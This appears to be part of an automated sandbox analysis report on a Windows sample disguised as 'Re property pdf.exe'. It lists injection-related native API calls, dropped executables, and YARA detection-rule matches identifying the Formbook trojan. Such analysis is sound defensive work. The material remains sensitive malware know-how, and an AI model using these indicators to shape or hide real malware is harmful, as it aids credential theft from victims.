Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042BF0 NtAllocateVirtualMemory,	6_2_01042BF0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042AB0 NtWaitForSingleObject,	6_2_01042AB0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042AD0 NtReadFile,	6_2_01042AD0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042AF0 NtWriteFile,	6_2_01042AF0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042D00 NtSetInformationFile,	6_2_01042D00
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042D10 NtMapViewOfSection,	6_2_01042D10
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042D30 NtUnmapViewOfSection,	6_2_01042D30
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042DB0 NtEnumerateKey,	6_2_01042DB0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042DD0 NtDelayExecution,	6_2_01042DD0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042C00 NtQueryInformationProcess,	6_2_01042C00
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042C60 NtCreateKey,	6_2_01042C60
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042CA0 NtQueryInformationToken,	6_2_01042CA0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042CC0 NtQueryVirtualMemory,	6_2_01042CC0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042CF0 NtOpenProcess,	6_2_01042CF0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042F30 NtCreateSection,	6_2_01042F30
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042F60 NtCreateProcessEx,	6_2_01042F60
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042F90 NtProtectVirtualMemory,	6_2_01042F90
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042FA0 NtQuerySection,	6_2_01042FA0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042FB0 NtResumeThread,	6_2_01042FB0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042FE0 NtCreateFile,	6_2_01042FE0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042E30 NtWriteVirtualMemory,	6_2_01042E30
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042E80 NtReadVirtualMemory,	6_2_01042E80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042EA0 NtAdjustPrivilegesToken,	6_2_01042EA0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01042EE0 NtQueueApcThread,	6_2_01042EE0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01043010 NtOpenDirectoryObject,	6_2_01043010
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01043090 NtSetValueKey,	6_2_01043090
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010439B0 NtGetContextThread,	6_2_010439B0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01043D10 NtOpenProcessToken,	6_2_01043D10
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01043D70 NtOpenThread,	6_2_01043D70

Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_075007B0	0_2_075007B0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_074F4D3B	0_2_074F4D3B
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_0130D5BC	0_2_0130D5BC
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_0130B888	0_2_0130B888
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_052F0006	0_2_052F0006
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_052F0040	0_2_052F0040
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_052FA057	0_2_052FA057
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_052FDB98	0_2_052FDB98
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_0772A750	0_2_0772A750
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_07722400	0_2_07722400
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_077223F1	0_2_077223F1
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_077240E0	0_2_077240E0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_07721FC8	0_2_07721FC8
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_07721FBB	0_2_07721FBB
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_07721B90	0_2_07721B90
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_07721B81	0_2_07721B81
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_07722838	0_2_07722838
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 0_2_07722828	0_2_07722828
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_004182F3	6_2_004182F3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0042E803	6_2_0042E803
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0040FB7A	6_2_0040FB7A
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0040FB83	6_2_0040FB83
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0040240A	6_2_0040240A
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00402410	6_2_00402410
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_004164D3	6_2_004164D3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0040DDC8	6_2_0040DDC8
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0040FDA3	6_2_0040FDA3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0040DE23	6_2_0040DE23
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00402F70	6_2_00402F70
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01000100	6_2_01000100
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AA118	6_2_010AA118
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01098158	6_2_01098158
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D01AA	6_2_010D01AA
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C41A2	6_2_010C41A2
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C81CC	6_2_010C81CC
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A2000	6_2_010A2000
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CA352	6_2_010CA352
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D03E6	6_2_010D03E6
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0101E3F0	6_2_0101E3F0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010902C0	6_2_010902C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01010535	6_2_01010535
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D0591	6_2_010D0591
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B4420	6_2_010B4420
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C2446	6_2_010C2446
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010BE4F6	6_2_010BE4F6
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01034750	6_2_01034750
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01010770	6_2_01010770
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100C7C0	6_2_0100C7C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102C6E0	6_2_0102C6E0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FF68B8	6_2_00FF68B8
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01026962	6_2_01026962
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010129A0	6_2_010129A0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010DA9A6	6_2_010DA9A6
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0101A840	6_2_0101A840
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01012840	6_2_01012840
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103E8F0	6_2_0103E8F0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CAB40	6_2_010CAB40
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C6BD7	6_2_010C6BD7
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100EA80	6_2_0100EA80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0101AD00	6_2_0101AD00
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010ACD1F	6_2_010ACD1F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01028DBF	6_2_01028DBF
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100ADE0	6_2_0100ADE0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01010C00	6_2_01010C00
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0CB5	6_2_010B0CB5
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01000CF2	6_2_01000CF2
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01052F28	6_2_01052F28
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01030F30	6_2_01030F30
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B2F30	6_2_010B2F30
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01084F40	6_2_01084F40
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108EFA0	6_2_0108EFA0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01002FC8	6_2_01002FC8
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CEE26	6_2_010CEE26
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01010E59	6_2_01010E59
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01022E90	6_2_01022E90
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CCE93	6_2_010CCE93
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CEEDB	6_2_010CEEDB
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010DB16B	6_2_010DB16B
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0104516C	6_2_0104516C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0101B1B0	6_2_0101B1B0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFF172	6_2_00FFF172
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010170C0	6_2_010170C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010BF0CC	6_2_010BF0CC
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C70E9	6_2_010C70E9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CF0E0	6_2_010CF0E0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C132D	6_2_010C132D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0105739A	6_2_0105739A
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010152A0	6_2_010152A0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFD34C	6_2_00FFD34C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102B2C0	6_2_0102B2C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B12ED	6_2_010B12ED
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102D2F0	6_2_0102D2F0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C7571	6_2_010C7571
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AD5B0	6_2_010AD5B0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D95C3	6_2_010D95C3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CF43F	6_2_010CF43F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01001460	6_2_01001460
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CF7B0	6_2_010CF7B0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01055630	6_2_01055630
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C16CC	6_2_010C16CC
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A5910	6_2_010A5910
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01019950	6_2_01019950
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102B950	6_2_0102B950
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107D800	6_2_0107D800
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010138E0	6_2_010138E0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CFB76	6_2_010CFB76
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102FB80	6_2_0102FB80
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01085BF0	6_2_01085BF0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0104DBF9	6_2_0104DBF9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CFA49	6_2_010CFA49
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C7A46	6_2_010C7A46
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01083A6C	6_2_01083A6C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01055AA0	6_2_01055AA0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010ADAAC	6_2_010ADAAC
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B1AA3	6_2_010B1AA3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010BDAC6	6_2_010BDAC6
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01013D40	6_2_01013D40
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C1D5A	6_2_010C1D5A
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C7D73	6_2_010C7D73
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102FDC0	6_2_0102FDC0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01089C32	6_2_01089C32
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CFCF2	6_2_010CFCF2
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CFF09	6_2_010CFF09
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01011F92	6_2_01011F92
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CFFB1	6_2_010CFFB1
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FD3FD5	6_2_00FD3FD5
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FD3FD2	6_2_00FD3FD2
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01019EB0	6_2_01019EB0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 7_2_011DD5BC	7_2_011DD5BC
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 7_2_073707B0	7_2_073707B0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 7_2_073707A1	7_2_073707A1
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 7_2_07379268	7_2_07379268
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 7_2_07379258	7_2_07379258
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 7_2_07372AB2	7_2_07372AB2
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01810100	12_2_01810100
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01866000	12_2_01866000
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_018A02C0	12_2_018A02C0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01820535	12_2_01820535
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0181C7C0	12_2_0181C7C0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01844750	12_2_01844750
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01820770	12_2_01820770
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0183C6E0	12_2_0183C6E0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_018229A0	12_2_018229A0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01836962	12_2_01836962
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01858890	12_2_01858890
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_018068B8	12_2_018068B8
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0184E8F0	12_2_0184E8F0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0182A840	12_2_0182A840
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01822840	12_2_01822840
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0181EA80	12_2_0181EA80
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01838DBF	12_2_01838DBF
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01828DC0	12_2_01828DC0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0181ADE0	12_2_0181ADE0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0182AD00	12_2_0182AD00
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0182ED7A	12_2_0182ED7A
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01810CF2	12_2_01810CF2
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01820C00	12_2_01820C00
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0189EFA0	12_2_0189EFA0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01812FC8	12_2_01812FC8
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01862F28	12_2_01862F28
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01840F30	12_2_01840F30
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01894F40	12_2_01894F40
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01832E90	12_2_01832E90
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01820E59	12_2_01820E59
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0182B1B0	12_2_0182B1B0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0185516C	12_2_0185516C
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0180F172	12_2_0180F172
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_018233F3	12_2_018233F3
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0180D34C	12_2_0180D34C
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_018252A0	12_2_018252A0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0183B2C0	12_2_0183B2C0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0183D2F0	12_2_0183D2F0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01823497	12_2_01823497
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_018674E0	12_2_018674E0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01811460	12_2_01811460
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0182B730	12_2_0182B730
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01825990	12_2_01825990
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01829950	12_2_01829950
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0183B950	12_2_0183B950
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_018238E0	12_2_018238E0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0188D800	12_2_0188D800
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0183FB80	12_2_0183FB80
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01895BF0	12_2_01895BF0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0185DBF9	12_2_0185DBF9
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01893A6C	12_2_01893A6C
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_0183FDC0	12_2_0183FDC0
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01823D40	12_2_01823D40
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01839C20	12_2_01839C20
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01899C32	12_2_01899C32
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01821F92	12_2_01821F92
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: 12_2_01829EB0	12_2_01829EB0
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_05976551	16_2_05976551
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_0597655A	16_2_0597655A
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_0597ECCA	16_2_0597ECCA
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_0597479F	16_2_0597479F
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_059747FA	16_2_059747FA
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_0597677A	16_2_0597677A
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_0597CEAA	16_2_0597CEAA
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_0597B61A	16_2_0597B61A
Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe	Code function: 16_2_059951DA	16_2_059951DA

Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: String function: 01867E54 appears 96 times
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Code function: String function: 0188EA12 appears 36 times
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: String function: 01045130 appears 58 times
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: String function: 0108F290 appears 103 times
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: String function: 00FFB970 appears 262 times
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: String function: 0107EA12 appears 86 times
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: String function: 01057E54 appears 107 times

Source: Re property pdf.exe, 00000000.00000002.1786169778.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Re property pdf.exe
Source: Re property pdf.exe, 00000000.00000002.1791759190.0000000003DDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Re property pdf.exe
Source: Re property pdf.exe, 00000000.00000000.1735631909.00000000009BE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameEEW.exe6 vs Re property pdf.exe
Source: Re property pdf.exe, 00000000.00000002.1795716307.0000000008C00000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Re property pdf.exe
Source: Re property pdf.exe, 00000006.00000002.2172585991.00000000010FD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Re property pdf.exe
Source: Re property pdf.exe	Binary or memory string: OriginalFilenameEEW.exe6 vs Re property pdf.exe

Source: Re property pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 6.2.Re property pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 6.2.Re property pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2172213068.0000000000A20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2171525341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
